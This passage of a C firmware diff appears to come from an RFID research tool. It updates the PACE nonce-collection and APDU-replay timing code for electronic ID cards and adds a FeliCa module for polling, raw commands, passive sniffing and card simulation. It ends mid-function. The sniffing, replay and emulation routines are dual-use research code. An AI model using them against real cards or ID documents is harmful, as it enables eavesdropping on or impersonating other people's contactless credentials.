rapdu_length = EPA_APDU((uint8_t *)apdu_select_binary_cardaccess, sizeof(apdu_select_binary_cardaccess), response_apdu); - if (rapdu_length != 6 + if (rapdu_length < 6 || response_apdu[rapdu_length - 4] != 0x90 || response_apdu[rapdu_length - 3] != 0x00) { + DbpString("Failed to select EF.CardAccess!"); return -1; } - + // read the file - rapdu_length = iso14_apdu((uint8_t *)apdu_read_binary, + rapdu_length = EPA_APDU((uint8_t *)apdu_read_binary, sizeof(apdu_read_binary), response_apdu); if (rapdu_length <= 6 || response_apdu[rapdu_length - 4] != 0x90 || response_apdu[rapdu_length - 3] != 0x00) { + Dbprintf("Failed to read EF.CardAccess!"); return -1; } - + // copy the content into the buffer // length of data available: apdu_length - 4 (ISO frame) - 2 (SW) size_t to_copy = rapdu_length - 6; @@ -213,17 +261,11 @@ int EPA_Read_CardAccess(uint8_t *buffer, size_t max_length) //----------------------------------------------------------------------------- static void EPA_PACE_Collect_Nonce_Abort(uint8_t step, int func_return) { -// // step in which the failure occured -// ack->arg[0] = step; -// // last return code -// ack->arg[1] = func_return; - // power down the field EPA_Finish(); - + // send the USB packet - cmd_send(CMD_ACK,step,func_return,0,0,0); -//UsbSendPacket((void *)ack, sizeof(UsbCommand)); + cmd_send(CMD_ACK,step,func_return,0,0,0); } //----------------------------------------------------------------------------- @@ -243,22 +285,15 @@ void EPA_PACE_Collect_Nonce(UsbCommand *c) */ // return value of a function - int func_return; + int func_return = 0; -// // initialize ack with 0s -// memset(ack->arg, 0, 12); -// memset(ack->d.asBytes, 0, 48); - // set up communication func_return = EPA_Setup(); - if (func_return != 0) { + if (func_return != 0) { EPA_PACE_Collect_Nonce_Abort(1, func_return); return; } - // increase the timeout (at least some cards really do need this!) - iso14a_set_timeout(0x0002FFFF); - // read the CardAccess file // this array will hold the CardAccess file uint8_t card_access[256] = {0}; @@ -279,11 +314,11 @@ void EPA_PACE_Collect_Nonce(UsbCommand *c) EPA_PACE_Collect_Nonce_Abort(3, func_return); return; } - + // initiate the PACE protocol // use the CAN for the password since that doesn't change func_return = EPA_PACE_MSE_Set_AT(pace_version_info, 2); - + // now get the nonce uint8_t nonce[256] = {0}; uint8_t requested_size = (uint8_t)c->arg[0]; @@ -294,15 +329,12 @@ void EPA_PACE_Collect_Nonce(UsbCommand *c) EPA_PACE_Collect_Nonce_Abort(4, func_return); return; } - - // all done, return + + // all done, return EPA_Finish(); - + // save received information -// ack->arg[1] = func_return; -// memcpy(ack->d.asBytes, nonce, func_return); -// UsbSendPacket((void *)ack, sizeof(UsbCommand)); - cmd_send(CMD_ACK,0,func_return,0,nonce,func_return); + cmd_send(CMD_ACK,0,func_return,0,nonce,func_return); } //----------------------------------------------------------------------------- @@ -323,10 +355,10 @@ int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce) sizeof(apdu_general_authenticate_pace_get_nonce)); // append Le (requested length + 2 due to tag/length taking 2 bytes) in RAPDU apdu[sizeof(apdu_general_authenticate_pace_get_nonce)] = requested_length + 4; - + // send it uint8_t response_apdu[262]; - int send_return = iso14_apdu(apdu, + int send_return = EPA_APDU(apdu, sizeof(apdu), response_apdu); // check if the command succeeded @@ -336,7 +368,7 @@ int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce) { return -1; } - + // if there is no nonce in the RAPDU, return here if (send_return < 10) { @@ -351,7 +383,7 @@ int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce) } // copy the nonce memcpy(nonce, response_apdu + 6, nonce_length); - + return nonce_length; } @@ -397,7 +429,7 @@ int EPA_PACE_MSE_Set_AT(pace_version_info_t pace_version_info, uint8_t password) apdu[4] = apdu_length - 5; // send it uint8_t response_apdu[6]; - int send_return = iso14_apdu(apdu, + int send_return = EPA_APDU(apdu, apdu_length, response_apdu); // check if the command succeeded @@ -410,34 +442,113 @@ int EPA_PACE_MSE_Set_AT(pace_version_info_t pace_version_info, uint8_t password) return 0; } +//----------------------------------------------------------------------------- +// Perform the PACE protocol by replaying given APDUs +//----------------------------------------------------------------------------- +void EPA_PACE_Replay(UsbCommand *c) +{ + uint32_t timings[sizeof(apdu_lengths_replay) / sizeof(apdu_lengths_replay[0])] = {0}; + + // if an APDU has been passed, save it + if (c->arg[0] != 0) { + // make sure it's not too big + if(c->arg[2] > apdus_replay[c->arg[0] - 1].len) + { + cmd_send(CMD_ACK, 1, 0, 0, NULL, 0); + } + memcpy(apdus_replay[c->arg[0] - 1].data + c->arg[1], + c->d.asBytes, + c->arg[2]); + // save/update APDU length + if (c->arg[1] == 0) { + apdu_lengths_replay[c->arg[0] - 1] = c->arg[2]; + } else { + apdu_lengths_replay[c->arg[0] - 1] += c->arg[2]; + } + cmd_send(CMD_ACK, 0, 0, 0, NULL, 0); + return; + } + + // return value of a function + int func_return; + + // set up communication + func_return = EPA_Setup(); + if (func_return != 0) { + EPA_Finish(); + cmd_send(CMD_ACK, 2, func_return, 0, NULL, 0); + return; + } + + // increase the timeout (at least some cards really do need this!)///////////// + // iso14a_set_timeout(0x0003FFFF); + + // response APDU + uint8_t response_apdu[300] = {0}; + + // now replay the data and measure the timings + for (int i = 0; i < sizeof(apdu_lengths_replay); i++) { + StartCountUS(); + func_return = EPA_APDU(apdus_replay[i].data, + apdu_lengths_replay[i], + response_apdu); + timings[i] = GetCountUS(); + // every step but the last one should succeed + if (i < sizeof(apdu_lengths_replay) - 1 + && (func_return < 6 + || response_apdu[func_return - 4] != 0x90 + || response_apdu[func_return - 3] != 0x00)) + { + EPA_Finish(); + cmd_send(CMD_ACK, 3 + i, func_return, 0, timings, 20); + return; + } + } + EPA_Finish(); + cmd_send(CMD_ACK,0,0,0,timings,20); + return; +} + //----------------------------------------------------------------------------- // Set up a communication channel (Card Select, PPS) // Returns 0 on success or a non-zero error code on failure //----------------------------------------------------------------------------- int EPA_Setup() { - // return code int return_code = 0; - // card UID - uint8_t uid[8]; - // card select information - iso14a_card_select_t card_select_info; + uint8_t uid[10]; + uint8_t pps_response[3]; + uint8_t pps_response_par[1]; + iso14a_card_select_t card_a_info; + iso14b_card_select_t card_b_info; + + // first, look for type A cards // power up the field iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); - // select the card - return_code = iso14443a_select_card(uid, &card_select_info, NULL); - if (return_code != 1) { - return 1; + return_code = iso14443a_select_card(uid, &card_a_info, NULL, true, 0, false); + if (return_code == 1) { + // send the PPS request + ReaderTransmit((uint8_t *)pps, sizeof(pps), NULL); + return_code = ReaderReceive(pps_response, pps_response_par); + if (return_code != 3 || pps_response[0] != 0xD0) { + return return_code == 0 ? 2 : return_code; + } + Dbprintf("ISO 14443 Type A"); + iso_type = 'a'; + return 0; } - // send the PPS request - ReaderTransmit((uint8_t *)pps, sizeof(pps), NULL); - uint8_t pps_response[3]; - return_code = ReaderReceive(pps_response); - if (return_code != 3 || pps_response[0] != 0xD0) { - return return_code == 0 ? 2 : return_code; + // if we're here, there is no type A card, so we look for type B + // power up the field + iso14443b_setup(); + // select the card + return_code = iso14443b_select_card( &card_b_info ); + if (return_code == 1) { + Dbprintf("ISO 14443 Type B"); + iso_type = 'b'; + return 0; } - - return 0; -} \ No newline at end of file + Dbprintf("No card found."); + return 1; +} diff --git a/armsrc/epa.h b/armsrc/epa.h index 730652b79..550af8200 100644 --- a/armsrc/epa.h +++ b/armsrc/epa.h @@ -11,6 +11,10 @@ #ifndef __EPA_H #define __EPA_H +#include "cmd.h" +#include "iso14443a.h" +#include "iso14443b.h" + // this struct is used by EPA_Parse_CardAccess and contains info about the // PACE protocol supported by the chip typedef struct { @@ -19,7 +23,7 @@ typedef struct { uint8_t parameter_id; } pace_version_info_t; -// note: EPA_PACE_GetNonce is declared in apps.h +// note: EPA_PACE_Collect_Nonce and EPA_PACE_Replay are declared in apps.h // general functions void EPA_Finish(); @@ -33,4 +37,4 @@ int EPA_Setup(); int EPA_PACE_MSE_Set_AT(pace_version_info_t pace_version_info, uint8_t password); int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce); -#endif /* __EPA_H */ \ No newline at end of file +#endif /* __EPA_H */ diff --git a/armsrc/felica.c b/armsrc/felica.c new file mode 100644 index 000000000..0251b5db1 --- /dev/null +++ b/armsrc/felica.c @@ -0,0 +1,803 @@ +#include "proxmark3.h" +#include "apps.h" +#include "BigBuf.h" +#include "util.h" +#include "usb_cdc.h" // for usb_poll_validate_length +#include "protocols.h" +#include "crc16.h" // crc16 ccitt + +// FeliCa timings +// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56Mhz) cycles +#ifndef FELICA_REQUEST_GUARD_TIME +# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1) +#endif +// FRAME DELAY TIME 2672 carrier cycles +#ifndef FELICA_FRAME_DELAY_TIME +# define FELICA_FRAME_DELAY_TIME (2672/16 + 1) +#endif +#ifndef DELAY_AIR2ARM_AS_READER +#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16) +#endif +#ifndef DELAY_ARM2AIR_AS_READER +#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) +#endif + +// CRC skips two first sync bits in data buffer +#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3) + +static uint32_t felica_timeout; +static uint32_t felica_nexttransfertime; +static uint32_t felica_lasttime_prox2air_start; + +static void felica_setup(uint8_t fpga_minor_mode); +static uint8_t felica_select_card(felica_card_select_t *card); +static void TransmitFor18092_AsReader(uint8_t * frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed); +bool WaitForFelicaReply(uint16_t maxbytes); + +void felica_set_timeout(uint32_t timeout) { + felica_timeout = timeout + (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) + 2; +} + +uint32_t felica_get_timeout(void) { + return felica_timeout - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) - 2; +} + +//random service RW: 0x0009 +//random service RO: 0x000B +#ifndef NFC_MAX_FRAME_SIZE + #define NFC_MAX_FRAME_SIZE 260 +#endif + +//structure to hold outgoing NFC frame +static uint8_t frameSpace[NFC_MAX_FRAME_SIZE+4]; + +//structure to hold incoming NFC frame, used for ISO/IEC 18092-compatible frames +static struct { + enum { + STATE_UNSYNCD, + STATE_TRYING_SYNC, + STATE_GET_LENGTH, + STATE_GET_DATA, + STATE_GET_CRC, + STATE_FULL + } state; + + uint16_t shiftReg; //for synchronization and offset calculation + int posCnt; + bool crc_ok; + int rem_len; + uint16_t len; + uint8_t byte_offset; + uint8_t *framebytes; + //should be enough. maxlen is 255, 254 for data, 2 for sync, 2 for crc + // 0,1 -> SYNC, 2 - len, 3-(len+1)->data, then crc +} NFCFrame; + +//b2 4d is SYNC, 45645 in 16-bit notation, 10110010 01001101 binary. Frame will not start filling until this is shifted in +//bit order in byte -reverse, I guess? [((bt>>0)&1),((bt>>1)&1),((bt>>2)&1),((bt>>3)&1),((bt>>4)&1),((bt>>5)&1),((bt>>6)&1),((bt>>7)&1)] -at least in the mode that I read those in +#ifndef SYNC_16BIT +# define SYNC_16BIT 0x4DB2 +#endif + +static void NFCFrameReset() { + NFCFrame.state = STATE_UNSYNCD; + NFCFrame.posCnt = 0; + NFCFrame.crc_ok = false; + NFCFrame.byte_offset = 0; +} +static void NFCInit(uint8_t *data) { + NFCFrame.framebytes = data; + NFCFrameReset(); +} + +//shift byte into frame, reversing it at the same time +static void shiftInByte(uint8_t bt) { + uint8_t j; + for(j=0; j < NFCFrame.byte_offset; j++) { + NFCFrame.framebytes[NFCFrame.posCnt] = ( NFCFrame.framebytes[NFCFrame.posCnt]<<1 ) + (bt & 1); + bt >>= 1; + } + NFCFrame.posCnt++; + NFCFrame.rem_len--; + for(j = NFCFrame.byte_offset; j<8; j++) { + NFCFrame.framebytes[NFCFrame.posCnt] = (NFCFrame.framebytes[NFCFrame.posCnt]<<1 ) + (bt & 1); + bt >>= 1; + } +} + +static void ProcessNFCByte(uint8_t bt) { + switch (NFCFrame.state) { + case STATE_UNSYNCD: { + //almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not alsways the case + if (bt > 0) { + NFCFrame.shiftReg = reflect8(bt); + NFCFrame.state = STATE_TRYING_SYNC; + } + break; + } + case STATE_TRYING_SYNC: { + if (bt == 0) { + //desync + NFCFrame.shiftReg = bt; + NFCFrame.state = STATE_UNSYNCD; + } else { + for (uint8_t i=0; i<8; i++) { + + if (NFCFrame.shiftReg == SYNC_16BIT) { + //SYNC done! + NFCFrame.state = STATE_GET_LENGTH; + NFCFrame.framebytes[0] = 0xb2; + NFCFrame.framebytes[1] = 0x4d; //write SYNC + NFCFrame.byte_offset = i; + //shift in remaining byte, slowly... + for(uint8_t j=i; j<8; j++) { + NFCFrame.framebytes[2] = (NFCFrame.framebytes[2] << 1) + (bt & 1); + bt >>= 1; + } + + NFCFrame.posCnt = 2; + if (i==0) + break; + } + NFCFrame.shiftReg = (NFCFrame.shiftReg << 1) + (bt & 1); + bt >>= 1; + } + + //that byte was last byte of sync + if (NFCFrame.shiftReg == SYNC_16BIT) { + //Force SYNC on next byte + NFCFrame.state = STATE_GET_LENGTH; + NFCFrame.framebytes[0] = 0xb2; + NFCFrame.framebytes[1] = 0x4d; + NFCFrame.byte_offset = 0; + NFCFrame.posCnt = 1; + } + } + break; + } + case STATE_GET_LENGTH: { + shiftInByte(bt); + NFCFrame.rem_len = NFCFrame.framebytes[2] - 1; + NFCFrame.len = NFCFrame.framebytes[2] + 4; //with crc and sync + NFCFrame.state = STATE_GET_DATA; + break; + } + case STATE_GET_DATA: { + shiftInByte(bt); + if (NFCFrame.rem_len <= 0) { + NFCFrame.state = STATE_GET_CRC; + NFCFrame.rem_len = 2; + } + break; + } + case STATE_GET_CRC: { + shiftInByte(bt); + + if ( NFCFrame.rem_len <= 0 ) { + // skip sync 2bytes. IF ok, residue should be 0x0000 + NFCFrame.crc_ok = check_crc(CRC_FELICA, NFCFrame.framebytes+2, NFCFrame.len-2); + NFCFrame.state = STATE_FULL; + NFCFrame.rem_len = 0; + if (MF_DBGLEVEL > 3) Dbprintf("[+] got 2 crc bytes [%s]", (NFCFrame.crc_ok) ? "OK" : "No" ); + } + break; + } + case STATE_FULL: //ignore byte. Don't forget to clear frame to receive next one... + default: + break; + } +} + +/* Perform FeliCa polling card + * Currently does NOT do any collision handling. + * It expects 0-1 cards in the device's range. + */ +static uint8_t felica_select_card(felica_card_select_t *card) { + + // POLL command + // 0xB2 0x4B = sync code + // 0x06 = len + // 0x00 = rfu + // 0xff = system service + // 0xff = system service + // 0x00 = + // b7 = automatic switching of data rate + // b6-b2 = reserved + // b1 = fc/32 (414kbps) + // b0 = fc/64 (212kbps) + // 0x00 = timeslot + // 0x09 0x21 = crc + static uint8_t poll[10] = {0xb2,0x4d,0x06,0x00,0xFF,0xFF,0x00,0x00,0x09,0x21}; + + int len = 20; + + // We try 20 times, or if answer was received. + do { + // end-of-reception response packet data, wait approx. 501μs + // end-of-transmission command packet data, wait approx. 197μs + // polling card + TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0); + + // polling card, break if success + if (WaitForFelicaReply(512) && NFCFrame.framebytes[3] == FELICA_POLL_ACK) + break; + + WDT_HIT(); + + } while (--len); + + // timed-out + if ( len == 0 ) + return 1; + + // wrong answer + if (NFCFrame.framebytes[3] != FELICA_POLL_ACK) + return 2; + + // VALIDATE CRC residue is 0, hence if crc is a value it failed. + if (!check_crc(CRC_FELICA, NFCFrame.framebytes+2, NFCFrame.len-2)) + return 3; + + // copy UID + // idm 8 + if (card) { + memcpy(card->IDm, NFCFrame.framebytes + 4, 8); + memcpy(card->PMm, NFCFrame.framebytes + 4 + 8, 8); + //memcpy(card->servicecode, NFCFrame.framebytes + 4 + 8 + 8, 2); + memcpy(card->code, card->IDm, 2); + memcpy(card->uid, card->IDm + 2, 6); + memcpy(card->iccode, card->PMm, 2); + memcpy(card->mrt, card->PMm+2, 6); + + } + // more status bytes? + return 0; +} + +// poll-0: 0xb2,0x4d,0x06,0x00,0xff,0xff,0x00,0x00,0x09,0x21, +// resp: 0xb2,0x4d,0x12,0x01,0x01,0x2e,0x3d,0x17,0x26,0x47,0x80,0x95,0x00,0xf1,0x00,0x00,0x00,0x01,0x43,0x00,0xb3,0x7f, +// poll-1 (reply with available system codes - NFC Tag3 specs, IIRC): 0xb2,0x4d,0x06,0x00,0xff,0xff,0x01,0x00,0x3a,0x10 +// resp: 0xb2,0x4d,0x14,0x01, 0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX, 0x00,0xf1,0x00,0x00,0x00,0x01,0x43,0x00, 0x88,0xb4,0x0c,0xe2, +// page-req: 0xb2,0x4d,0x10,0x06, 0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX, 0x01, 0x0b,0x00, 0x01, 0x80,0x00, 0x2e,0xb3, +// page-req: 0x06, IDm(8), ServiceNum(1),Slist(2*num) BLocknum (1) BLockids(2-3*num) +// page-resp: 0xb2,0x4d,0x1d,0x07, 0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX, 0x00, 0x00, 0x01, 0x10,0x04,0x01,0x00,0x0d,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x23, 0xcb,0x6e, + +// builds a readblock frame for felica lite(s). Using SERVICE: SERVICE_FELICA_LITE_READONLY +// Felica standard has a different file system, AFAIK, +// 8-byte IDm, number of blocks, blocks numbers +// number of blocks limited to 4 for FelicaLite(S) +static void BuildFliteRdblk(uint8_t* idm, int blocknum, uint16_t *blocks ) { + + if (blocknum > 4 || blocknum <= 0) + Dbprintf("Invalid number of blocks, %d. Up to 4 are allowed.", blocknum); + + uint8_t c = 0, i = 0; + + frameSpace[c++] = 0xb2; + frameSpace[c++] = 0x4d; + + c++; //set length later + + frameSpace[c++] = FELICA_RDBLK_REQ; //command number + + //card IDm, from poll + frameSpace[c++] = idm[0]; + frameSpace[c++] = idm[1]; + frameSpace[c++] = idm[2]; + frameSpace[c++] = idm[3]; + frameSpace[c++] = idm[4]; + frameSpace[c++] = idm[5]; + frameSpace[c++] = idm[6]; + frameSpace[c++] = idm[7]; + + //number of services + frameSpace[c++] = 0x01; + + //service code + frameSpace[c++] = (SERVICE_FELICA_LITE_READONLY >> 8); + frameSpace[c++] = SERVICE_FELICA_LITE_READONLY & 0xFF; + + //number of blocks + frameSpace[c++] = blocknum; + + for (i=0; i < blocknum; i++) { + + //3-byte block + if (blocks[i] >= 256) { + frameSpace[c++] = 0x00; + frameSpace[c++] = (blocks[i] >> 8); //block number, little endian.... + frameSpace[c++] = (blocks[i] & 0xff); + } else { + frameSpace[c++] = 0x80; + frameSpace[c++] = blocks[i]; + } + } + + //set length + frameSpace[2] = c-2; + AddCrc(frameSpace, c-2); +} + +static void TransmitFor18092_AsReader(uint8_t * frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) { + + volatile uint16_t b; + uint8_t flags = FPGA_MAJOR_MODE_ISO18092; + + if ( power ) + flags |= FPGA_HF_ISO18092_FLAG_READER; + if (highspeed) + flags |= FPGA_HF_ISO18092_FLAG_424K; + + FpgaWriteConfWord(flags); + + uint32_t curr_transfer_time = ((MAX(felica_nexttransfertime, GetCountSspClk()) & 0xfffffff8) + 8); + + while (GetCountSspClk() < curr_transfer_time) {}; + + felica_lasttime_prox2air_start = curr_transfer_time; + + // preamble + // sending 0x00 0x00 0x00 0x00 0x00 0x00 + uint16_t c = 0; + while (c < 6) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; + c++; + } + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); (void)b; + } + } + // sending sync code + + // sending data + c = 0; + while (c < len) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = frame[c++]; + } + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); (void)b; + } + } + +/**/ + while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY))) {}; + AT91C_BASE_SSC->SSC_THR = 0x00; //minimum delay + + while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY))) {}; + AT91C_BASE_SSC->SSC_THR = 0x00; //spin +/**/ + + // log + LogTrace( + frame, + len, + (felica_lasttime_prox2air_start<<4) + DELAY_ARM2AIR_AS_READER, + ((felica_lasttime_prox2air_start + felica_lasttime_prox2air_start)<<4) + DELAY_ARM2AIR_AS_READER, + NULL, + true + ); + + felica_nexttransfertime = MAX(felica_nexttransfertime ,felica_lasttime_prox2air_start + FELICA_REQUEST_GUARD_TIME); +} + +// Wait for tag reply +// stop when button is pressed +// or return TRUE when command is captured +bool WaitForFelicaReply(uint16_t maxbytes) { + + uint32_t c = 0; + + // power, no modulation + FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); + + NFCFrameReset(); + + // clear RXRDY: + uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + + uint32_t timeout = felica_get_timeout(); + for(;;) { + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + b = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); + ProcessNFCByte(b); + if (NFCFrame.state == STATE_FULL) { + felica_nexttransfertime = + MAX( + felica_nexttransfertime, + (GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/16 + FELICA_FRAME_DELAY_TIME + ) + ; + + LogTrace( + NFCFrame.framebytes, + NFCFrame.len, + ((GetCountSspClk() & 0xfffffff8)<<4) - DELAY_AIR2ARM_AS_READER - timeout, + ((GetCountSspClk() & 0xfffffff8)<<4) - DELAY_AIR2ARM_AS_READER, + NULL, + false + ); + return true; + } else if (c++ > timeout && NFCFrame.state == STATE_UNSYNCD) { + return false; + } else if (NFCFrame.state == STATE_GET_CRC) { + Dbprintf(" Frame: "); + Dbhexdump(16, NFCFrame.framebytes, 0); + //return false; + } + } + } + return false; +} + +// Set up FeliCa communication (similar to iso14443a_setup) +// field is setup for "Sending as Reader" +static void felica_setup(uint8_t fpga_minor_mode) { + if (MF_DBGLEVEL > 3) Dbprintf("FeliCa_setup Enter"); + LEDsoff(); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + // allocate command receive buffer + BigBuf_free(); BigBuf_Clear_ext(false); + + // Initialize Demod and Uart structs + //DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + NFCInit(BigBuf_malloc(NFC_MAX_FRAME_SIZE)); + + felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; + felica_set_timeout(2120); // 106 * 20ms maximum start-up time of card + + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // Set up the synchronous serial port + FpgaSetupSsc(); + + // LSB transfer. Remember to set it back to MSB with + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); + + init_table(CRC_FELICA); + + // Signal field is on with the appropriate LED + FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode); + + //20.4 ms generate field, start sending polling command afterwars. + SpinDelay(100); + + // Start the timer + StartCountSspClk(); + + LED_D_ON(); + if (MF_DBGLEVEL > 3) Dbprintf("FeliCa_setup Exit"); +} +//----------------------------------------------------------------------------- +// RAW FeliCa commands. Send out commands and store answers. +//----------------------------------------------------------------------------- +// arg0 FeliCa flags +// arg1 len of commandbytes +// d.asBytes command bytes to send +void felica_sendraw(UsbCommand *c) { + + if (MF_DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Enter"); + + felica_command_t param = c->arg[0]; + size_t len = c->arg[1] & 0xffff; + uint8_t *cmd = c->d.asBytes; + uint32_t arg0 = 0; + + felica_card_select_t card; + + if ((param & FELICA_CONNECT)) + clear_trace(); + + set_tracing(true); + + if ((param & FELICA_CONNECT)) { + felica_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); + + // notify client selecting status. + // if failed selecting, turn off antenna and quite. + if( !(param & FELICA_NO_SELECT) ) { + arg0 = felica_select_card(&card); + cmd_send(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t)); + if ( arg0 > 0 ) + goto OUT; + } + } + + if ((param & FELICA_RAW)) { + + // 2 sync, 1 len, 2crc == 5 + uint8_t *buf = BigBuf_malloc(len+5); + // add sync bits + buf[0] = 0xb2; + buf[1] = 0x4d; + buf[2] = len; + + // copy command + memcpy(buf+2, cmd, len); + + if ((param & FELICA_APPEND_CRC)) { + // Don't append crc on empty bytearray... + if ( len > 0 ) { + AddCrc(buf, len); + len += 2; + } + } + + TransmitFor18092_AsReader(buf, buf[2]+4, NULL, 1, 0); + arg0 = !WaitForFelicaReply(1024); + cmd_send(CMD_ACK, arg0, 0, 0, NFCFrame.framebytes+2, NFCFrame.len-2); + } + + if ((param & FELICA_NO_DISCONNECT)) + return; + +OUT: + switch_off(); + + //Resetting Frame mode (First set in fpgaloader.c) + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); + + if (MF_DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Exit"); +} + +void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) { + + int remFrames = (samplesToSkip) ? samplesToSkip : 0; + + Dbprintf("Snoop FelicaLiteS: Getting first %d frames, Skipping %d triggers.\n", samplesToSkip, triggersToSkip); + + felica_setup( FPGA_HF_ISO18092_FLAG_NOMOD); + + //the frame bits are slow enough. + int n = BigBuf_max_traceLen() / sizeof(uint8_t); // take all memory + int numbts = 0; + uint8_t *dest = (uint8_t *)BigBuf_get_addr(); + uint8_t *destend = dest + n-2; + + uint32_t endframe = GetCountSspClk(); + + while (dest <= destend) { + WDT_HIT(); + if( BUTTON_PRESS()) break; + + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); + ProcessNFCByte(dist); + + //to be sure we are in frame + if (NFCFrame.state == STATE_GET_LENGTH) { + //length is after 48 (PRE)+16 (SYNC) - 64 ticks +maybe offset? not 100% + uint16_t distance = GetCountSspClk() - endframe - 64 + (NFCFrame.byte_offset > 0 ? (8-NFCFrame.byte_offset) : 0); + *dest = distance >> 8; + dest++; + *dest = (distance & 0xff); + dest++; + } + //crc NOT checked + if (NFCFrame.state == STATE_FULL) { + endframe = GetCountSspClk(); + //*dest = NFCFrame.crc_ok; //kind of wasteful + dest++; + for(int i=0; i < NFCFrame.len; i++) { + *dest = NFCFrame.framebytes[i]; + dest++; + if (dest >= destend ) break; + + } + + remFrames--; + if (remFrames <= 0) break; + if (dest >= destend ) break; + + numbts += NFCFrame.len; + + NFCFrameReset(); + } + } + } + + switch_off(); + + //reset framing + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); + set_tracelen(numbts); + + Dbprintf("Felica sniffing done, tracelen: %i, use hf list felica for annotations", BigBuf_get_traceLen()); + cmd_send(CMD_ACK,1, numbts,0,0,0); +} + +#define R_POLL0_LEN 0x16 +#define R_POLL1_LEN 0x18 +#define R_READBLK_LEN 0x21 +//simulate NFC Tag3 card - for now only poll response works +// second half (4 bytes) of NDEF2 goes into nfcid2_0, first into nfcid2_1 +void felica_sim_lite(uint64_t nfcid) { + + int i, curlen = 0; + uint8_t *curresp = 0; + + uint8_t ndef[8]; + num_to_bytes(nfcid, 8, ndef); + + //prepare our 3 responses... + uint8_t resp_poll0[R_POLL0_LEN] = { 0xb2,0x4d,0x12,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0x00,0x00,0x00,0x01,0x43,0x00,0xb3,0x7f}; + uint8_t resp_poll1[R_POLL1_LEN] = { 0xb2,0x4d,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0x00,0x00,0x00,0x01,0x43,0x00, 0x88,0xb4,0xb3,0x7f}; + uint8_t resp_readblk[R_READBLK_LEN] = { 0xb2,0x4d,0x1d,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x04,0x01,0x00,0x0d,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x23,0xcb,0x6e}; + + //NFC tag 3/ ISo technically. Many overlapping standards + DbpString("Felica Lite-S sim start"); + Dbprintf("NDEF2 UID: %02x %02x %02x %02x %02x %02x %02x %02x", + ndef[0], ndef[1], ndef[2], ndef[3], ndef[4], ndef[5], ndef[6], ndef[7] + ); + + //fill in blanks + for( i=0; i<8; i++) { + resp_poll0[i+4] = ndef[i]; + resp_poll1[i+4] = ndef[i]; + resp_readblk[i+4] = ndef[i]; + } + + //calculate and set CRC + AddCrc(resp_poll0, resp_poll0[2]); + AddCrc(resp_poll1, resp_poll1[2]); + AddCrc(resp_readblk, resp_readblk[2]); + + felica_setup( 